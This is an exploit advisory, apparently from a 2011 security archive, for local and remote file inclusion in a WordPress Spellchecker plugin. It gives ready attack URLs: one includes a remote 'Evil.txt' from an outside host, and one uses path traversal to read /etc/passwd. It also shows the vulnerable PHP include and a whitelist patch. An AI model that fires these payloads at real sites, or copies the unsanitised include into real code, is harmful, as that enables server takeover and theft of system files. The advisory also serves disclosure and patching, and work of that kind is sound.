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WordPress Spellchecker Local File Inclusion / Remote File Inclusion

WordPress Spellchecker Local File Inclusion / Remote File Inclusion
Posted Apr 11, 2011
Authored by Dr Trojan

The WordPress Spellchecker plugin suffers from local file inclusion and remote file inclusion vulnerabilities.

tags | exploit, remote, local, vulnerability, code execution, file inclusion
SHA-256 | ab620182444da6e9e25bbd2ff29473475170a67f0693c1d08670c943b225dd1f

WordPress Spellchecker Local File Inclusion / Remote File Inclusion

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======++++++ RFI & LFI Wordpress Spellchecker Plugin
Vulnerability ++++++======
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Released Date = 12/4/2011
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Author = Dr Trojan (www.paksecteam.com)
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Greets = Sacred1947 - ShozY - Shadow008 - HackerBradri - Death Angel - Yasir
Fati
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Version = 3.1
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Tested On = Windows 7 & Xampp
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Rfi Exploit = /general.php?file=http://sitename.com/Evil.txt?
Lfi Exploit = /general.php?file=../../../../../../../etc/passwd
Root Location =
wordpress/wp-includes/js/tinymce/plugins/spellchecker/includes/general.php
Web Location = www.sitename.com/general.php?file=
P.O.C:-
RFI Example = www.sitename.com/general.php?file=http://sitename.com/Evil.txt
?
LFI Example =
www.sitename.com/general.php?file=../../../../../../../etc/passwd

Vulnerability description:-
An attacker might include local or remote PHP files or read non-PHP files
with this vulnerability.
User tainted data is used when creating the file name that will be included
into the current file.
PHP code in this file will be evaluated, non-PHP code will be embedded to
the output.
This vulnerability can lead to full server compromise.
Vulnerable Example Code = <? include("includes/" . $_GET["file"]); ?>

Patch for vulnerability: Build a whitelist for positive file names. Do not
only limit the file name to specific paths or extensions.
<? $files = array("index.php", "main.php"); if(!in_array($_GET["file"],
$files)) exit; ?>
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